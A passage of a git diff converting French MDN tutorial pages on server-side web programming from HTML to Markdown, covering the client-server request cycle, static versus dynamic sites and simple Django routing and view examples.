etc.) exactement de la même manière.</p> +Comprendre comment fonctionnent les sites statiques est sans aucun doute trés utile à l'apprentissage de la programmation côté serveur car les sites dynamiques gèrent les requêtes pour les fichiers statiques (CSS, JavaScript, images statiques , etc.) exactement de la même manière. -<h2 id="Les_sites_dynamiques">Les sites dynamiques</h2> +## Les sites dynamiques -<p>Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière). Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP <code>GET</code> pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique :</p> +Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière). Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP `GET` pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique : -<p>Utiliser une base de données permet à l'information "produit" d'être stockée efficacement, en étant modifiable, extensible et bien indexée.</p> +Utiliser une base de données permet à l'information "produit" d'être stockée efficacement, en étant modifiable, extensible et bien indexée. -<p>Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques.</p> +Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques. -<h3 id="Anatomie_dun_requête_dynamique">Anatomie d'un requête dynamique</h3> +### Anatomie d'un requête dynamique -<p>Cette section présente une vue d'ensemble du cycle dynamique HTTP de requête/réponse, construit avec ce que nous avons vu précédemment avec de plus amples détails. Toujours dans l'optique de "faire les choses en réel" nous utiliserons le contexte du site d'une équipe de sport où l'entraîneur peut sélectionner le nom de l'équipe et le nombre de joueurs dans un formulaire HTML et avoir en retour une suggestion "Meilleure composition" pour le prochain match.</p> +Cette section présente une vue d'ensemble du cycle dynamique HTTP de requête/réponse, construit avec ce que nous avons vu précédemment avec de plus amples détails. Toujours dans l'optique de "faire les choses en réel" nous utiliserons le contexte du site d'une équipe de sport où l'entraîneur peut sélectionner le nom de l'équipe et le nombre de joueurs dans un formulaire HTML et avoir en retour une suggestion "Meilleure composition" pour le prochain match. -<p>Le diagramme ci-dessous montre les principaux éléments du site Web "entraîneur d'équipe", ainsi que des étiquettes numérotées pour la séquence des opérations lorsque l'entraîneur accède à la liste "meilleure équipe". Les parties du site qui le rendent dynamique sont l’application Web (c’est ainsi que nous nous référerons au code côté serveur qui traite les requêtes HTTP et renvoie les réponses HTTP), la base de données, qui contient des informations sur les joueurs, les équipes, les entraîneurs et leurs partenaires. relations, et les modèles HTML.</p> +Le diagramme ci-dessous montre les principaux éléments du site Web "entraîneur d'équipe", ainsi que des étiquettes numérotées pour la séquence des opérations lorsque l'entraîneur accède à la liste "meilleure équipe". Les parties du site qui le rendent dynamique sont l’application Web (c’est ainsi que nous nous référerons au code côté serveur qui traite les requêtes HTTP et renvoie les réponses HTTP), la base de données, qui contient des informations sur les joueurs, les équipes, les entraîneurs et leurs partenaires. relations, et les modèles HTML. -<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="Web%20Application%20with%20HTML%20and%20Steps.png"></p> + -<p>Une fois que l’entraîneur a soumis le formulaire avec le nom de l’équipe et le nombre de joueurs, la séquence des opérations est la suivante:</p> +Une fois que l’entraîneur a soumis le formulaire avec le nom de l’équipe et le nombre de joueurs, la séquence des opérations est la suivante: -<ol> - <li>Le navigateur Web crée une requête HTTP GET au serveur en utilisant l’URL de base de la ressource (/ best) et en codant l’équipe et le numéro du joueur sous forme de paramètres d’URL (par exemple / best? team=my_team_name&show = 11) ou dans le cadre de l’URL modèle (par exemple / best / my_team_name / 11 /). Une requête GET est utilisée car la requête extrait uniquement des données (sans les modifier).</li> - <li>Le serveur Web détecte que la demande est "dynamique" et la transmet à l'application Web pour traitement (le serveur Web détermine comment gérer différentes URL en fonction des règles de correspondance de modèle définies dans sa configuration).</li> - <li>L'application Web identifie l'objectif de la demande d'obtenir la "meilleure liste d'équipes" en fonction de l'URL (/ best /) et recherche le nom d'équipe requis et le nombre de joueurs à partir de l'URL. L'application Web obtient alors les informations requises de la base de données (en utilisant des paramètres "internes" supplémentaires pour définir quels joueurs sont les "meilleurs", et éventuellement en obtenant également l'identité de l'entraîneur connecté à partir d'un cookie côté client).</li> - <li>L'application Web crée dynamiquement une page HTML en plaçant les données (de la base de données) dans des espaces réservés dans un modèle HTML.</li> - <li>L'application Web renvoie le code HTML généré au navigateur Web (via le serveur Web), ainsi qu'un code d'état HTTP de 200 ("success"). Si quoi que ce soit empêche le code HTML d'être renvoyé, l'application Web renvoie un autre code, par exemple "404" pour indiquer que l'équipe n'existe pas.</li> - <li>Le navigateur Web commence alors à traiter le code HTML renvoyé, en envoyant des demandes distinctes pour obtenir tous les fichiers CSS ou JavaScript qu’il référence (voir étape 7).</li> - <li>Le serveur Web charge les fichiers statiques à partir du système de fichiers et les renvoie directement au navigateur (là encore, le traitement correct des fichiers est basé sur les règles de configuration et la correspondance des types d'URL).</li> -</ol> +1. Le navigateur Web crée une requête HTTP GET au serveur en utilisant l’URL de base de la ressource (/ best) et en codant l’équipe et le numéro du joueur sous forme de paramètres d’URL (par exemple / best? team=my_team_name\&show = 11) ou dans le cadre de l’URL modèle (par exemple / best / my_team_name / 11 /). Une requête GET est utilisée car la requête extrait uniquement des données (sans les modifier). +2. Le serveur Web détecte que la demande est "dynamique" et la transmet à l'application Web pour traitement (le serveur Web détermine comment gérer différentes URL en fonction des règles de correspondance de modèle définies dans sa configuration). +3. L'application Web identifie l'objectif de la demande d'obtenir la "meilleure liste d'équipes" en fonction de l'URL (/ best /) et recherche le nom d'équipe requis et le nombre de joueurs à partir de l'URL. L'application Web obtient alors les informations requises de la base de données (en utilisant des paramètres "internes" supplémentaires pour définir quels joueurs sont les "meilleurs", et éventuellement en obtenant également l'identité de l'entraîneur connecté à partir d'un cookie côté client). +4. L'application Web crée dynamiquement une page HTML en plaçant les données (de la base de données) dans des espaces réservés dans un modèle HTML. +5. L'application Web renvoie le code HTML généré au navigateur Web (via le serveur Web), ainsi qu'un code d'état HTTP de 200 ("success"). Si quoi que ce soit empêche le code HTML d'être renvoyé, l'application Web renvoie un autre code, par exemple "404" pour indiquer que l'équipe n'existe pas. +6. Le navigateur Web commence alors à traiter le code HTML renvoyé, en envoyant des demandes distinctes pour obtenir tous les fichiers CSS ou JavaScript qu’il référence (voir étape 7). +7. Le serveur Web charge les fichiers statiques à partir du système de fichiers et les renvoie directement au navigateur (là encore, le traitement correct des fichiers est basé sur les règles de configuration et la correspondance des types d'URL). -<p>Une opération de mise à jour d'un enregistrement dans la base de données serait gérée de la même manière, sauf que, comme toute mise à jour de base de données, la demande HTTP du navigateur devrait être codée en tant que demande POST.</p> +Une opération de mise à jour d'un enregistrement dans la base de données serait gérée de la même manière, sauf que, comme toute mise à jour de base de données, la demande HTTP du navigateur devrait être codée en tant que demande POST. -<h3 id="que_faire_dautre">que faire d'autre?</h3> +### que faire d'autre? -<p>Le travail d'une application Web consiste à recevoir des requêtes HTTP et à renvoyer des réponses HTTP. Bien que l'interaction avec une base de données pour obtenir ou mettre à jour des informations soit une tâche très courante, le code peut faire d'autres choses en même temps, ou ne pas interagir du tout avec une base de données.Un bon exemple de tâche supplémentaire qu'une application Web pourrait exécuter serait l'envoi d'un courrier électronique aux utilisateurs pour confirmer leur inscription sur le site. Le site peut également effectuer une journalisation ou d’autres opérations.</p> +Le travail d'une application Web consiste à recevoir des requêtes HTTP et à renvoyer des réponses HTTP. Bien que l'interaction avec une base de données pour obtenir ou mettre à jour des informations soit une tâche très courante, le code peut faire d'autres choses en même temps, ou ne pas interagir du tout avec une base de données.Un bon exemple de tâche supplémentaire qu'une application Web pourrait exécuter serait l'envoi d'un courrier électronique aux utilisateurs pour confirmer leur inscription sur le site. Le site peut également effectuer une journalisation ou d’autres opérations. -<h3 id="Renvoyer_autre_chose_que_du_HTML">Renvoyer autre chose que du HTML</h3> +### Renvoyer autre chose que du HTML -<p>Le code de site Web côté serveur ne doit pas nécessairement renvoyer des extraits / fichiers HTML dans la réponse. Au lieu de cela, il peut créer et renvoyer de manière dynamique d'autres types de fichiers (texte, PDF, CSV, etc.) ou même des données (JSON, XML, etc.).L'idée de renvoyer des données à un navigateur Web afin qu'il puisse mettre à jour de manière dynamique son propre contenu ({{glossary ("AJAX")}}) existe depuis un certain temps. Plus récemment, les "applications à page unique" sont devenues populaires, le site Web entier étant écrit avec un seul fichier HTML mis à jour de manière dynamique en cas de besoin. Les sites Web créés à l'aide de ce style d'application génèrent des coûts de calcul considérables entre le serveur et le navigateur Web, ce qui peut donner l'impression que les sites Web se comportent beaucoup plus comme des applications natives (très réactives, etc.).</p> +Le code de site Web côté serveur ne doit pas nécessairement renvoyer des extraits / fichiers HTML dans la réponse. Au lieu de cela, il peut créer et renvoyer de manière dynamique d'autres types de fichiers (texte, PDF, CSV, etc.) ou même des données (JSON, XML, etc.).L'idée de renvoyer des données à un navigateur Web afin qu'il puisse mettre à jour de manière dynamique son propre contenu ({{glossary ("AJAX")}}) existe depuis un certain temps. Plus récemment, les "applications à page unique" sont devenues populaires, le site Web entier étant écrit avec un seul fichier HTML mis à jour de manière dynamique en cas de besoin. Les sites Web créés à l'aide de ce style d'application génèrent des coûts de calcul considérables entre le serveur et le navigateur Web, ce qui peut donner l'impression que les sites Web se comportent beaucoup plus comme des applications natives (très réactives, etc.). -<h2 id="Les_frameworks_Web_simplifient_la_programmation_Web_côté_serveur">Les frameworks Web simplifient la programmation Web côté serveur</h2> +## Les frameworks Web simplifient la programmation Web côté serveur -<p>Les infrastructures Web côté serveur facilitent beaucoup la rédaction de code permettant de gérer les opérations décrites ci-dessus.L’une des opérations les plus importantes qu’ils effectuent consiste à fournir des mécanismes simples pour mapper les URL de différentes ressources / pages à des fonctions de gestionnaire spécifiques. Cela facilite la séparation du code associé à chaque type de ressource. Cela présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière à un endroit, sans avoir à changer la fonction de gestionnaire.Par exemple, considérons le code Django (Python) suivant qui mappe deux modèles d'URL à deux fonctions d'affichage. Le premier modèle garantit qu'une requête HTTP avec une URL de ressource / best sera transmise à une fonction nommée index () dans le module views. Une demande qui a pour motif "/ best / junior" sera plutôt transmise à la fonction d'affichage junior ().</p> +Les infrastructures Web côté serveur facilitent beaucoup la rédaction de code permettant de gérer les opérations décrites ci-dessus.L’une des opérations les plus importantes qu’ils effectuent consiste à fournir des mécanismes simples pour mapper les URL de différentes ressources / pages à des fonctions de gestionnaire spécifiques. Cela facilite la séparation du code associé à chaque type de ressource. Cela présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière à un endroit, sans avoir à changer la fonction de gestionnaire.Par exemple, considérons le code Django (Python) suivant qui mappe deux modèles d'URL à deux fonctions d'affichage. Le premier modèle garantit qu'une requête HTTP avec une URL de ressource / best sera transmise à une fonction nommée index () dans le module views. Une demande qui a pour motif "/ best / junior" sera plutôt transmise à la fonction d'affichage junior (). -<pre class="brush: python"># file: best/urls.py +```python +# file: best/urls.py # from django.conf.urls import url @@ -272,19 +261,15 @@ urlpatterns = [ url(r'^$', views.index), # example: /best/junior/ url(r'^junior/$', views.junior), -]</pre> - -<div class="note"> -<p><strong>Note :</strong> Les premiers paramètres des fonctions url () peuvent paraître un peu bizarres (par exemple, r '^ junior / $') car ils utilisent une technique de correspondance de modèle appelée "expressions régulières" (RegEx ou RE). Vous n'avez pas besoin de savoir comment fonctionnent les expressions régulières à ce stade, car elles nous permettent également de faire correspondre les modèles de l'URL (plutôt que les valeurs codées en dur ci-dessus) et de les utiliser comme paramètres dans nos fonctions d'affichage. À titre d'exemple, un RegEx très simple pourrait dire "faire correspondre une seule lettre majuscule, suivie de 4 à 7 lettres minuscules".</p> -</div> - -<div>L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.</div> +] +``` -<div>L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés.</div> +> **Note :** Les premiers paramètres des fonctions url () peuvent paraître un peu bizarres (par exemple, r '^ junior / $') car ils utilisent une technique de correspondance de modèle appelée "expressions régulières" (RegEx ou RE). Vous n'avez pas besoin de savoir comment fonctionnent les expressions régulières à ce stade, car elles nous permettent également de faire correspondre les modèles de l'URL (plutôt que les valeurs codées en dur ci-dessus) et de les utiliser comme paramètres dans nos fonctions d'affichage. À titre d'exemple, un RegEx très simple pourrait dire "faire correspondre une seule lettre majuscule, suivie de 4 à 7 lettres minuscules". -<div></div> +L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés. -<pre class="brush: python">#best/views.py +```python +#best/views.py from django.shortcuts import render @@ -295,23 +280,21 @@ def junior(request): list_teams = Team.objects.filter(team_type__exact="junior") context = {'list': list_teams} return render(request, 'best/index.html', context) -</pre> +``` -<p>Une fois que la fonction junior () a obtenu la liste des équipes juniors, elle appelle la fonction render () en transmettant la requête HttpRequest d'origine, un modèle HTML et un objet "context" définissant les informations à inclure dans le modèle. La fonction render () est une fonction pratique qui génère du HTML à l'aide d'un context et d'un template HTML, puis le renvoie dans un objet HttpResponse.De toute évidence, les frameworks Web peuvent vous aider dans de nombreuses autres tâches. Nous discutons beaucoup plus d'avantages et de choix de frameworks Web populaires dans le prochain article.</p> +Une fois que la fonction junior () a obtenu la liste des équipes juniors, elle appelle la fonction render () en transmettant la requête HttpRequest d'origine, un modèle HTML et un objet "context" définissant les informations à inclure dans le modèle. La fonction render () est une fonction pratique qui génère du HTML à l'aide d'un context et d'un template HTML, puis le renvoie dans un objet HttpResponse.De toute évidence, les frameworks Web peuvent vous aider dans de nombreuses autres tâches. Nous discutons beaucoup plus d'avantages et de choix de frameworks Web populaires dans le prochain article. -<h2 id="Summary">Summary</h2> +## Summary -<p>À ce stade, vous devez avoir une bonne vue d'ensemble des opérations que le code côté serveur doit effectuer et connaître certaines des manières dont une infrastructure Web côté serveur peut faciliter cela.</p> +À ce stade, vous devez avoir une bonne vue d'ensemble des opérations que le code côté serveur doit effectuer et connaître certaines des manières dont une infrastructure Web côté serveur peut faciliter cela. -<p>Dans un module suivant, nous vous aiderons à choisir le meilleur framework Web pour votre premier site.</p> +Dans un module suivant, nous vous aiderons à choisir le meilleur framework Web pour votre premier site. -<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> +{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li> -</ul> +- [Introduction to the server side](/fr/docs/Learn/Server-side/First_steps/Introduction) +- [Client-Server overview](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview) +- [Server-side web frameworks](/fr/docs/Learn/Server-side/First_steps/Web_frameworks) +- [Website security](/fr/docs/Learn/Server-side/First_steps/Website_security) diff --git a/files/fr/learn/server-side/first_steps/index.md b/files/fr/learn/server-side/first_steps/index.md index cb79ff0b9a..020b17c1f0 100644 --- a/files/fr/learn/server-side/first_steps/index.md +++ b/files/fr/learn/server-side/first_steps/index.md @@ -10,37 +10,33 @@ tags: translation_of: Learn/Server-side/First_steps original_slug: Learn/Server-side/Premiers_pas --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web. </p> +Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire.</p> +Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire. -<p>Vous aurez besoin de comprendre "comment fonctionne le web". Nous vous recommandons de lire d'abord les sujets suivants :</p> +Vous aurez besoin de comprendre "comment fonctionne le web". Nous vous recommandons de lire d'abord les sujets suivants : -<ul> - <li><a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web">Qu'est-ce qu'un serveur web</a></li> - <li><a href="/fr/Apprendre/Quels_logiciels_sont_n%C3%A9cessaires_pour_construire_un_site_web">De quel logiciel ai-je besoin pour créer un site web ?</a></li> - <li><a href="/fr/Apprendre/Transf%C3%A9rer_des_fichiers_vers_un_serveur_web">Comment transférer des fichiers sur un serveur web ?</a></li> -</ul> +- [Qu'est-ce qu'un serveur web](/fr/Apprendre/Qu_est-ce_qu_un_serveur_web) +- [De quel logiciel ai-je besoin pour créer un site web ?](/fr/Apprendre/Quels_logiciels_sont_n%C3%A9cessaires_pour_construire_un_site_web) +- [Comment transférer des fichiers sur un serveur web ?](/fr/Apprendre/Transf%C3%A9rer_des_fichiers_vers_un_serveur_web) -<p>Avec cette compréhension de base, vous serez prêts à parcourir les modules de cette section.</p> +Avec cette compréhension de base, vous serez prêts à parcourir les modules de cette section. -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/Server-side/Premiers_pas/Introduction">Introduction au côté serveur</a></dt> - <dd>Bienvenue au cours de programmation débutant de MDN ! Dans ce premier article, nous examinerons la programmation côté serveur, répondant à des questions comme «En quoi consiste-t-elle ?», «En quoi diffère-t-elle de la programmation côté client ?» et «Pourquoi est-ce si utile ?». Après avoir lu cet article, vous comprendrez comment la programmation côté serveur donne aux sites web toute leur puissance.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Premiers_pas/Client-Serveur">Présentation client-serveur</a></dt> - <dd>Maintenant que vous connaissez le but et les avantages potentiels de la programmation côté serveur, nous allons examiner en détail ce qui se passe lorsqu'un serveur reçoit une "requête dynamique" d'un navigateur. Comme la plupart des codes côté serveur traitent les demandes et les réponses de la même manière, cela vous aidera à comprendre ce que vous devez faire lorsque vous écrivez votre propre code.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Premiers_pas/Web_frameworks">Frameworks web côté serveur</a></dt> - <dd>Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur.</dd> - <dt><a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité de votre site web</a></dt> - <dd>La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes.</dd> -</dl> +- [Introduction au côté serveur](/fr/docs/Learn/Server-side/Premiers_pas/Introduction) + - : Bienvenue au cours de programmation débutant de MDN ! Dans ce premier article, nous examinerons la programmation côté serveur, répondant à des questions comme «En quoi consiste-t-elle ?», «En quoi diffère-t-elle de la programmation côté client ?» et «Pourquoi est-ce si utile ?». Après avoir lu cet article, vous comprendrez comment la programmation côté serveur donne aux sites web toute leur puissance. +- [Présentation client-serveur](/fr/docs/Learn/Server-side/Premiers_pas/Client-Serveur) + - : Maintenant que vous connaissez le but et les avantages potentiels de la programmation côté serveur, nous allons examiner en détail ce qui se passe lorsqu'un serveur reçoit une "requête dynamique" d'un navigateur. Comme la plupart des codes côté serveur traitent les demandes et les réponses de la même manière, cela vous aidera à comprendre ce que vous devez faire lorsque vous écrivez votre propre code. +- [Frameworks web côté serveur](/fr/docs/Learn/Server-side/Premiers_pas/Web_frameworks) + - : Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur. +- [Sécurité de votre site web](/fr/docs/Learn/Server-side/First_steps/Website_security) + - : La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes. -<h2 id="Évaluations">Évaluations</h2> +## Évaluations -<p>Ce module "aperçu" n'a aucune évaluation car nous ne vous avons pas encore montré de code. Nous espérons à ce stade que vous avez une bonne compréhension des types de fonctionnalités que vous pouvez fournir en utilisant la programmation côté serveur et que vous avez pris une décision quant à l'infrastructure web côté serveur que vous utiliserez pour créer votre premier site web.</p> +Ce module "aperçu" n'a aucune évaluation car nous ne vous avons pas encore montré de code. Nous espérons à ce stade que vous avez une bonne compréhension des types de fonctionnalités que vous pouvez fournir en utilisant la programmation côté serveur et que vous avez pris une décision quant à l'infrastructure web côté serveur que vous utiliserez pour créer votre premier site web. diff --git a/files/fr/learn/server-side/first_steps/introduction/index.md b/files/fr/learn/server-side/first_steps/introduction/index.md index 8a3337f276..9763f1cba6 100644 --- a/files/fr/learn/server-side/first_steps/introduction/index.md +++ b/files/fr/learn/server-side/first_steps/introduction/index.md @@ -11,225 +11,197 @@ tags: translation_of: Learn/Server-side/First_steps/Introduction original_slug: Learn/Server-side/Premiers_pas/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}} -<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div> - -<p>Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web.</p> +Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaissances de base en informatique. Une compréhension de base de ce qu'est un serveur web.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Se familiariser avec la programmation côté serveur, ce qu'elle peut faire, et en quoi elle diffère de la programmation côté client.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaissances de base en informatique. Une compréhension de base de ce + qu'est un serveur web. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Se familiariser avec la programmation côté serveur, ce qu'elle peut + faire, et en quoi elle diffère de la programmation côté client. + </td> + </tr> + </tbody> </table> -<p>La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). </p> - -<p>L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants.</p> - -<p>Cela peut même permettre une interaction avec les utilisateurs du site, en envoyant des notifications et mises à jour par email ou via d'autres canaux. Toutes ces capacités rendent possible un engagement plus important avec l'utilisateur.</p> - -<p>Dans le monde moderne du développement web, apprendre le développement côté serveur est fortement recommandé.</p> - -<h2 id="Quest-ce_que_la_programmation_côté_serveur">Qu'est-ce que la programmation côté serveur?</h2> - -<p>Les navigateurs web communiquent avec les <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web">serveurs web</a> en utilisant le protocole {{glossary("HTTP")}} (<strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol). Quand vous cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une <strong>requête HTTP</strong> est envoyée du navigateur au serveur cible.</p> - -<p>Une requête inclut <em>une URL</em> pour identifier la ressource demandée, <em>une méthode</em> pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans <em>les paramètres</em> de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — <a href="https://en.wikipedia.org/wiki/Query_string">query string</a> en anglais), les données POST (données envoyées par la <a href="/fr/docs/Web/HTTP/M%C3%A9thode/POST">méthode HTTP POST</a>), ou les {{glossary("Cookie", "cookies associés")}}.</p> - -<p>Les serveurs web attendent des requêtes du client, les traitent quand elles arrivent, et répondent au navigateur web avec une <strong>réponse HTTP</strong>. La réponse contient <em>un statut</em> qui indique si la requête a pu être traitée avec succès ou non (exemple "HTTP/1.1 200 OK" pour indiquer le succès). </p> +La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). -<p>Le corps de la réponse, si la requête réussit, contient alors la ressource demandée (comme une page HTML, une image, etc...), que le navigateur web peut alors afficher.</p> +L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants. -<h3 id="Sites_statiques">Sites statiques</h3> +Cela peut même permettre une interaction avec les utilisateurs du site, en envoyant des notifications et mises à jour par email ou via d'autres canaux. Toutes ces capacités rendent possible un engagement plus important avec l'utilisateur. -<p>Le diagramme ci-dessous montre l'architecture d'un serveur web basique pour un <em>site statique</em> (un site statique est un site qui renvoie du contenu codé en dur, c'est à dire le contenu d'un fichier, quand une ressource donnée est demandée). Quand un utilisateur veut naviguer sur une page, le navigateur envoie une requête HTTP "GET" spécifiant son URL.</p> +Dans le monde moderne du développement web, apprendre le développement côté serveur est fortement recommandé. -<p>Le serveur récupère le document demandé du système de fichiers et retourne une réponse HTTP contenant le document et le <a href="/fr/docs/Web/HTTP/Status#R%C3%A9ponses_de_succ%C3%A8s">statut de la réponse</a> (habituellement, 200 OK). Si le fichier ne peut pas être recupéré pour une raison x ou y, le statut d'erreur est retourné (voir <a href="/fr/docs/Web/HTTP/Status#R%C3%A9ponses_d'erreur_c%C3%B4t%C3%A9_client">réponses d'erreur client</a> et <a href="/fr/docs/Web/HTTP/Status#R%C3%A9ponses_d'erreur_c%C3%B4t%C3%A9_serveur">réponse d'erreur serveur</a>).</p> +## Qu'est-ce que la programmation côté serveur? -<p><img alt="A simplified diagram of a static web server." src="Basic%20Static%20App%20Server.png"></p> +Les navigateurs web communiquent avec les [serveurs web](/fr/Apprendre/Qu_est-ce_qu_un_serveur_web) en utilisant le protocole {{glossary("HTTP")}} (**H**yper**T**ext **T**ransfer **P**rotocol). Quand vous 